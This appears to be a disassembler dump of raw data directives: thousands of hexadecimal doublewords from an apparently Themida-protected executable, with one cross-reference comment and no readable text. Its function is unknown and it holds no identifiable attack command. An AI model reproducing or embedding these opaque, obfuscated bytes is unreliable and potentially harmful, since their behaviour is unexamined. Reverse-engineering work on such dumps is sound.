dd 350F19B5h, 0E2F76609h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 32C35545h, 1C5848DAh, 26C4D8B7h, 1B84BEB0h
dd 0D82B3334h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 33C35747h, 0A4D7FD45h, 66587AB0h, 0D82BF98Bh, 193880Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 0B58B58C3h, 9351161h, 12619509h, 7B90935h
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 9EDCC353h, 60607F79h, 8A0Fh, 858B0000h
dd 9351601h, 0D58D8961h, 61093510h, 2EE19589h, 0C1830935h
dd 7E900h, 310D0000h, 3F9F08C8h, 0FD93BE3h, 11486h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 17879F20h, 19E68166h, 0D98C66E2h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 0FFC35646h, 3141FE5Bh, 0FE9F874h
dd 0CA000000h, 17249DF6h, 62828A8Fh, 0D3353776h, 0C1F689FEh
dd 0A6840F04h, 60000000h, 0CE8h, 10CED700h, 98C99366h
dd 0F99127Eh, 0F985012Fh, 58093502h, 0FF61CE8Bh, 35247195h
dd 11850109h, 5B09352Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 2C35646h, 0E97E70D9h, 12h, 71FFB7E9h
dd 0CD6F04B2h, 36693C56h, 88C9A304h, 8166CB19h, 2B4CBEDEh
dd 198529C3h, 3D093503h, 834h, 2F860Fh, 0D6810000h, 78FFC85Bh
dd 2CE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 1ADB6C56h, 0BF0F28B1h, 81C08BFAh
dd 0F1D350E6h, 8BC38B48h, 53006AD8h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0F9C52D0Ah
dd 0B182B305h, 101D85C7h, 0D9150935h, 0EF815809h, 1A219BDCh
dd 8B66C08Bh, 0EDBD81FBh, 0D0093528h, 0F000007h, 2585h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0FFEFF8E3h, 3528ED85h, 0B5FFF809h, 93528EDh
dd 496924BEh, 2995FF77h, 6A093508h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 0B317C350h
dd 8BF40694h, 350BF9B5h, 6810F09h, 89000000h, 351BFD9Dh
dd 6A9009h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 5FB916C3h, 90851C1h, 350E61BDh, 0B98D8909h
dd 0F509350Ch, 0CE9h, 0C39EE600h, 0F444D837h, 3722DA0Ch
dd 51006A41h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0E5BD89E7h, 66093516h, 8D89FE8Bh, 9351251h
dd 2CC9B523h, 85890935h, 9350A25h, 0D820Fh, 66600000h
dd 668477BEh, 0BA66F28Bh, 6A61CEC0h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0E1F4C352h
dd 0E960A8CDh, 8, 7194C50h, 0BDA5FDF3h, 3D8D8Bh, 0BB660935h
dd 0F61950Bh, 685h, 11BD0B00h, 8B093527h, 351089BDh, 6AF28B09h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 43B3C356h, 0F58BD685h, 68B0FF9h, 8B000000h
dd 351EC9BDh, 0F843E909h, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 82A628C3h, 8BC1BD66h
dd 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0EBBFAC29h, 4, 45B58B00h, 0E9093527h, 7
dd 423B1F7Bh, 0FC2EA82h, 858DF9B7h, 9352659h, 0DDCE8166h
dd 6E8909Eh, 0B1000000h, 9050F725h, 5F56503Bh, 8B505F5Eh
dd 6A90F8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 8B69D4C3h, 352C45BDh, 10E909h, 577C0000h
dd 0EDFAADDFh, 9D4BC67Fh, 9AE40827h, 6ADB33h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B5C35747h, 0B58BED9Ch
dd 9350D25h, 0BD8B006Ah, 9352FC5h, 221B858Dh, 83F50939h
dd 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 205A43C3h, 2BB59589h, 52500935h, 9E45BE66h
dd 2404895Fh, 40A4D681h, 6A68E8h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 0D1C35141h, 90625C6h, 3530259Dh
dd 6D852909h, 6A093501h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 0A948819Ch, 0EAF6F681h
dd 95FF5D9Bh, 9350331h, 8E8h, 50100800h, 0FD623393h, 0E1BD8B1Eh
dd 5F09350Fh, 9AAB9D8Dh, 6A0938h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 0F28A5FC3h, 8E9h, 86383700h
dd 2C348606h, 6870F49h, 29000000h, 3500C5B5h, 52D3FF09h
dd 1601B589h, 0FF5E0935h, 35300985h, 6850F09h, 31000000h
dd 350529B5h, 8C0E909h, 0E80000h, 5D000000h, 2225ED81h
dd 0B50B0939h, 9351F2Dh, 68E0Fh, 0BD8B0000h, 9352FB1h
dd 28EDBD81h, 7D00935h, 860F0000h, 10Eh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 15h, 8AC35646h, 0F99D8BA4h
dd 8109350Ch, 100E3h, 0BD8B5100h, 9352389h, 0FDB0B5Eh
dd 7585h, 0F5B58B00h, 8309350Dh, 392077BDh, 840F0009h
dd 4Ah, 36F1F681h, 6DE93273h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 5092C350h
dd 886AC965h, 0F9B70F60h, 11E960h, 356F0000h, 778B887Bh
dd 0A4B60819h, 0B43C1361h, 8A8A89EDh, 85C761F5h, 9392077h
dd 1, 1D9DBD89h, 19E90935h, 0F000000h, 85C7F7BFh, 9392077h
dd 0
dd 2BAD9589h, 8D890935h, 9352331h, 0CF99D8Dh, 6A0935h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 75C79EC3h, 63320C4Ch, 0EE82046h, 32000000h, 0B5CCDAFEh
dd 0E754ABACh, 552BB12Fh, 0E781669Ch, 815F9629h, 0FFFEFF23h
dd 8C66F8FFh, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 9624167Ah, 4CC1B6Ch, 831BD8Bh, 0C3F60935h
dd 48840F04h, 6A000000h, 3E85100h, 20000000h
dword_580968 dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 66AEC351h
; DATA XREF: Themida_:off_5584A6o
dd 3A77CF81h, 247195FFh, 0BD8B0935h, 935033Dh, 6FBE6690h
dd 0E86050F8h, 6, 125C9D5Eh, 615F3EDFh, 0E1B52990h, 0E9093505h
dd 4C7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 0E7C35343h, 16F08B8h, 0C65BA70Fh, 6A00B09Fh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 90FBC350h, 68E0Fh, 0D6810000h, 4CDF3873h, 2E418589h
dd 70E60935h, 324DB58Bh, 71E40935h, 0B58BF28Bh, 93521F5h
dd 6AD8B60Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0F8E5C357h, 0D2BFEA91h, 8B8FE626h
dd 352F25BDh, 0EDB58B09h, 0BA093504h, 6, 0FE9h, 0B7D82000h
dd 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h, 0C38BFE8Bh, 13E9h
dd 0BB412800h, 22A4B94Dh, 37410C91h, 677D9F16h, 156BA231h
dd 6604E8C1h, 0F766FB8Bh, 57006AE2h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0D39078E0h
dd 89EB2AEBh, 350E61BDh, 70DE8109h, 2B761580h, 51006AD8h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 0B6837656h, 3E590AFDh, 0BBBE2589h, 604918B6h, 6850Fh
dd 8D8B0000h, 9351AD5h, 13E9h, 8112B600h, 0D2CF60E6h, 5360BAD6h
dd 8C95032Ah, 6EF63DD7h, 1C895061h, 52006A24h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 4BB20E8Fh
dd 32F77749h, 0B5FF8F2Ch, 93528EDh, 3011B58Bh, 95FF0935h
dd 9350829h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 0DDC35646h, 3CD04A32h, 89D85C43h, 350F1D85h, 86CE8109h
dd 0B0072364h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 39A374C2h, 739AA471h
dd 666093B0h, 0BED402BAh, 4B16DE63h, 6840F61h, 2B000000h
dd 350EA5BDh, 6A70E609h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0C766C350h, 0A4BE66CDh
dd 3C71E411h, 98830F61h, 8B000002h, 3512B1BDh, 0D8B60F09h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9C35646h
dd 0F9BF0F86h, 0BAF38B66h, 6, 2E59B58Bh, 85890935h, 9350F25h
dd 0AE9C38Bh, 0BB000000h, 79A661A1h, 0FE2EBE37h, 4E8C1BEh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0B7C35747h
dd 0E2F7668Fh, 0D82BF38Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 15C35646h, 1A8BAD16h, 9BED5E81h, 8D8B5760h
dd 9352D19h, 5FB9665Fh, 0E68161E2h, 31294DB6h, 6498D89h
dd 0E9580935h, 5, 87514672h, 0FD82BA9h, 1D288h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0E3EBAA02h, 81E6CDFFh, 243CC8E7h, 7B924h, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0E06C55C3h, 0EFC72824h, 6800FA7h, 81000000h, 0E9FEFDEh
dd 0FD950128h, 83093526h, 0BE900C1h, 0CD000000h, 0CB314EE7h
dd 93D83C17h, 14E86CFBh, 81000000h, 0C45860B9h, 9CD966A6h
dd 0BB3B2691h, 0F5CC9A6Fh, 8BEF6614h, 3528F9BDh, 0D93B5E09h
dd 135860Fh, 0BF660000h, 8C66C901h, 55006AD9h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 966EBE77h
dd 0E82B6CC6h, 5, 62F0ABB8h, 0BD89608Ch, 93502D9h, 0C1F65E61h
dd 0E8840F04h, 66000000h, 3F77D681h, 247195FFh, 10E90935h
dd 0CA000000h, 3D989E6Dh, 0EEB07C1h, 98D0A696h, 5B01E9AFh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4AC35343h
dd 0ECC27F09h, 2BCB8171h, 50006AC3h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 6FEC608h, 2BD58589h
dd 343D0935h, 0F000008h, 7286h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0D50490h, 1E7EECC1h
dd 840F22D5h, 6, 8FB2F781h, 44E93D70h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 0DD42C356h, 0CE9C8071h, 11E8CFh, 0EED00000h, 64D6F4C6h
dd 5939FBAEh, 75E2D203h, 6623D5F9h, 8B5FF08Bh, 0F99D89C0h
dd 8B09350Bh, 6AD88BC3h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 51DDC353h, 9DB58B8Ch
dd 0C709351Dh, 3516D185h, 3189D109h, 0FDB58957h, 0F09351Bh
dd 18Ah, 0C08BF900h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Dh, 0A3C35747h, 0EA68C0ECh, 0CB3AF970h, 198D29A6h
dd 81093510h, 3528EDBDh, 7D009h, 59850F00h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 5882C357h, 0ED85FF76h, 6A093528h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 8302C353h, 12E8h, 74C23700h, 0A47139A3h, 93B0739Ah
dd 242E0493h, 5E0D1C6Eh, 28EDB5FFh, 6A0935h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A860A9C3h
dd 4E382E5h, 8997E67Eh, 35033595h, 2995FF09h, 29093508h
dd 352DB1BDh, 23609009h, 351179B5h, 8B61F809h, 352951B5h
dd 45B58B09h, 0E9093500h, 0Ch, 2FAE5055h, 0D73EFF7Eh, 0D3ED066Fh
dd 1039B58Bh, 0F7810935h, 7134F525h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 9AC35545h, 0B8C0Fh, 8F0F0000h
dd 5, 91F2AEBFh, 51B50350h, 2309352Ch, 350005BDh, 75BD8B09h
dd 66093508h, 6A4B6DBFh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 0F9D7C350h, 0F29C187h
dd 0BD03F6B7h, 9350FF9h, 0CE9BD23h, 0BF660935h, 0B5891331h
dd 9350D09h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 0AAC35343h, 0BD8B6FF7h, 9353061h, 0AC1B531h, 0F78B0935h
dd 0C49BD29h, 81660935h, 1D85BEEh, 350669BDh, 0BDBD0B09h
dd 66093504h, 9589FE8Bh, 9352F55h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 25C35545h, 66D2F797h, 0A9C5E781h
dd 0FFF745E9h, 0D68166FFh, 6A60A7AEh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 9655C352h
dd 0DD41733h, 0B1DDE93h, 60C7B70Fh, 1C45B58Bh, 0C28B0935h
dd 0FFFEB961h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 4652DC3h, 3C7ABB08h, 958949ADh
dd 9350F89h, 2CED8D21h, 6A0935h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 0F77B6AC3h, 0ACF015D6h
dd 941BB5BBh, 218D2110h, 6A093512h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 4B86C352h
dd 7E4880DDh, 0D78B6742h
dd 17AD958Bh, 800F0935h, 15h, 10E9h, 70968000h, 6FF1D0F5h
dd 8F663470h, 37E98D63h, 0ED8D8B2Eh, 8009352Ch, 0E1837CDCh
dd 30850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 0CC60C356h, 952B755Bh
dd 9350489h, 6ED4BBAh, 7D85895Bh, 8B093522h, 3512218Dh
dd 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 7F3ED737h, 89FEB321h, 35259D8Dh, 5BB6609h
dd 1E183C9h, 1E850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 9BC5DC3h, 6A6061h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 9BCB05C3h, 89852343h, 0B9093527h, 0FFFFFFFEh, 22CD9589h
dd 8D210935h, 9350B21h, 8D21FE8Bh, 9350441h, 118D8960h
dd 0F09352Ch, 8B61D8B7h, 350B218Dh, 1890F09h, 0F9000000h
dd 0F01E183h, 3685h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 3848BAEEh, 8AEB3D1h, 0C870F35h
dd 0F000000h, 680h, 890F00h, 8B000000h, 3504418Dh, 57006A09h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 837D637Fh, 1E18347h, 2850Fh, 0F28B0000h, 9D2B6061h
dd 9352809h, 0FFFFFEB9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 3C168276h, 39832FA9h
dd 0DE98F11h, 1D000000h, 1B998695h, 49E75E3Bh, 865CD10Bh
dd 0CF98D21h, 0BB660935h, 8D21B22Ah, 93500D5h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0A5C35545h, 6CE681D9h
dd 8B195182h, 350CF98Dh, 0E19D8B09h, 1093521h, 352F11BDh
dd 1E18309h, 26850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 170424h, 56460000h, 2B1E5CC3h, 0C2BF0F98h
dd 68B5B866h, 0D58D8Bh, 0BF0F0935h, 1E183D0h, 2B850Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 0E4979CC3h, 0DE31CB4Bh, 3C7D9D3h, 35123DB5h
dd 8B606109h, 352C2D9Dh, 0FFFEB909h, 6AFFFFh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 16F97C3h
dd 352C7585h, 1D8D2109h, 6A093510h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0F980C351h
dd 436BF0AAh, 14E9BDh, 2AF70000h, 7AEFC43Fh, 9B9ABCF8h
dd 9E2DED10h, 41BCD5D8h, 8B603EC7h, 3521C98Dh, 3DF38109h
dd 611CDFC7h, 16D18D21h, 9D8B0935h, 9351AE9h, 101D8D8Bh
dd 0DB810935h, 31DEF74Bh, 0F01E183h, 3185h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0FE93D25h, 53000000h, 1184EAB4h, 0D6E5742Ch, 292D26ABh
dd 8D8B94ADh, 93516D1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 45C35343h, 254467CAh, 0C63062ECh, 1E183F8h
dd 22850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 3F58B1C3h, 10D239A2h, 6A6061h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 23CBA6C3h, 352CA5BDh, 0ED85C709h, 0D0093528h, 6A000007h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h
dd 40000000h, 0C23DC350h, 0C68A37B2h, 57006A61h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0D79868AEh, 0E3569A99h, 0B531BD78h, 9351069h, 9D6107EBh
dd 0E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 0B10A45AEh, 0D0077038h, 0D8A0F73h
dd 60000000h, 2D30DBBh, 0A5B5890Dh, 61093510h, 13E9h, 311D1C00h
dd 0C8ECCB78h, 50C17CFDh, 399FB2FAh, 3660F7B5h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 33C35040h, 4A11FA79h
dd 0C18BA47Dh, 8E8h, 0B908C200h, 11F86549h, 5953B038h
dd 0A2C78166h, 0E4C181C2h, 89000071h, 3510D59Dh, 1C506809h
dd 880F0000h, 0Bh, 6E9h, 0F6E92A00h, 5E54BC72h, 3199D33h
dd 31FF0935h, 799D8950h, 5F093522h, 8EF2815Ah, 66061491h
dd 0F281F88Bh, 4021BE9Dh, 2860F57h, 60000000h, 0EA815B61h
dd 5F8EBC4Ch, 8BCB8166h, 8FF952C0h, 619D8B01h, 83093523h
dd 0D7BF04E9h, 8152C18Fh, 1EEh, 12850F00h, 66000000h, 0AACF081h
dd 18E9h, 0CD6BBA00h, 0A906F31Ah, 0DABF0F81h, 0FFFF99E9h
dd 64E25BFFh, 0EAD0883Ah, 6A6008h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 2DFBB2C3h, 17559529h
dd 0C08B0935h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 6AC35646h, 0E9401566h, 3C88BFECh, 85893FF0h, 93523D5h
dd 26A1BD83h, 75000935h, 79BD8309h, 93530h, 53501974h
dd 38B8C08Bh, 89000004h, 352AC185h, 389D8D09h, 0FF0937B4h
dd 83585BD3h, 353079BDh, 17740009h, 38B85350h, 89000004h
dd 352AC185h, 279D8D09h, 0FF0937B1h, 8B585BD3h, 3526D5B5h
dd 6870F09h, 0F000000h, 84h, 29C08B00h, 35025D8Dh, 8C7E809h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
dd 53430000h, 15F136C3h, 0BE66E031h, 8589B077h, 9352E9Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 35C35242h
dd 96E1CF45h, 0F8A71E7h, 683h, 8DB52900h, 0E8093500h, 869h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 50C35040h
dd 39277426h, 0D8D89EDh, 89093526h, 3506B585h, 36E8F909h
dd 6A000008h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 6C92C351h, 2DB54F57h, 892BF7B6h
dd 350C4585h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 21A52955h, 0F03D5D9h, 682h, 45B58B00h
dd 0E9093505h, 8, 0AAA640ECh, 0AC5BC517h, 7CCE8h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 60B25519h, 1B7CBEDBh, 85895473h, 9351BBDh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 50C35545h, 64032B17h
dd 7AE88AC5h, 6A000007h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 7B6C355h, 54BFDC46h
dd 2B4D28BEh, 79858933h, 2909352Ch, 350371B5h, 743E809h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 0E10DE2C3h, 0EE93364h, 0D8000000h, 9593B2A6h
dd 402654DCh, 0B2545810h, 0DD858969h, 8B093503h, 351F95BDh
dd 0E8F88B09h, 6FDh, 11699D29h, 85890935h, 9352B11h, 4AC18166h
dd 6E7E8FEh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 0A456A5C3h
dd 13E9h, 4B7FC800h, 8EDCD64h, 0EB5660Ah, 394770F8h, 60413F4Dh
dd 2A818D8Bh, 85890935h, 9352BF5h, 9EE8EA8Ah, 0E8000006h
dd 0Fh, 4C296AA0h, 0FC6EC4E0h, 0B3C77C1Bh, 8B2793C4h, 351F118Dh
dd 8D0F5E09h, 4, 59595151h, 11F58589h, 6A0935h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 26D115C3h, 47671FBh, 5E863h, 0A2A50000h, 89C5B557h
dd 35048185h, 0BE85909h, 65000000h, 72B1646Fh, 7EFBF5BDh
dd 85293313h, 9350F89h, 623E85Eh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 141319C3h
dd 7B41E8D4h, 0D158589h, 6A0935h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 191B87C3h, 6E2C83F4h
dd 0B1BCF434h, 5CFE8F6h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 9D89C8C3h, 93527E5h
dd 12398589h, 6A0935h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 0E8A657C3h, 585h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 14h, 46C35040h, 30059D09h
dd 85890935h, 9350041h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 0D5C35545h, 1EB9F1DAh, 0E84DE46Fh, 535h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0B3C35747h
dd 0C0A8E99h, 0F7DBE790h, 8959F850h, 350A6985h, 56006A09h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 0E6E8692Ah, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 7A7FC357h, 164C77E8h
dd 32D8D8Bh, 0B70F0935h, 1D8589F9h, 6A093533h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 0A9F0C353h, 25E7815Bh, 0BE16EBD7h, 4A618D0Ah, 488E8h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 9FD50DAh, 35261595h, 89C3B109h, 35309585h
dd 0D9816609h, 52E88938h, 6A000004h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 755DC353h
dd 0B126B7CAh, 858998B1h, 9350D45h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 0B8C35747h, 0BD8B29C3h, 9352635h
dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 28296EC3h, 85953112h, 8A093526h, 0D8B60FCEh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 81C35141h
dd 0FD647B81h, 8BA44FE0h, 3506918Dh, 6BA09h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 92C0F6C3h, 99ACE36Ah, 8BC38B91h, 4E8C1FBh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 24C35242h, 23958D8Bh
dd 0F7660935h, 57006AE2h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 9C3D35C1h, 0B70FE8D5h
dd 6AD82BCFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0CB2FC355h, 0B561EE85h, 0B50B1F2Fh
dd 93513E1h, 2661BD09h, 50930935h, 38D0Fh, 8B660000h, 0FA8B93F9h
dd 10059D31h, 95FF0935h, 9352471h, 0C88B665Bh, 31B1958Dh
dd 0F520935h, 8959C9B7h, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 83BF661Eh, 44289B5h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 3CC35040h, 2D9BD31h
dd 958D0935h, 9352665h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 0AAC35747h, 0B5CD65CCh, 6A1A8998h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 8670C350h, 0CB2ACB0Eh, 0D1D015B6h, 85EF81F9h, 89134F46h
dd 6A0442h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 7BB510C3h, 0D65958Dh, 6E90935h, 0D9000000h
dd 0D9D0EDC5h, 0BE1A89D6h, 1FF0149Dh, 0E9044289h, 14h
dd 124CD3E3h, 904AF22Fh, 0C84BF355h, 0EF0EA292h, 79013164h
dd 106D958Dh, 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 5A50E1C3h, 16A6B43Fh, 0F5B28F8h
dd 185h, 1A89F800h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 0F9C35040h, 1CEF6DDh, 5BD8B78h, 89093530h
dd 6A0442h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 57B599C3h, 0E56F4C1Eh, 95898E7Fh, 9353165h
dd 2561958Dh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 0D9D5CFC3h, 0B52960E1h, 9350185h
dd 11E8h, 0DB67E700h, 0C32F6977h, 0E5973316h, 26786617h
dd 0B53155ECh, 935089Dh, 1A89615Eh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 5DC35242h, 89CAB70Fh, 6A0442h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 3E0D41C3h, 0C95AC2D5h, 8A0FE991h, 6, 850Fh, 958D0000h
dd 93523E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 3AC35747h, 957C9132h, 8D8B1A89h, 9351BF5h, 8B044289h
dd 350819BDh, 1D958D09h, 6009352Fh, 0D9B58BFCh, 6109350Ch
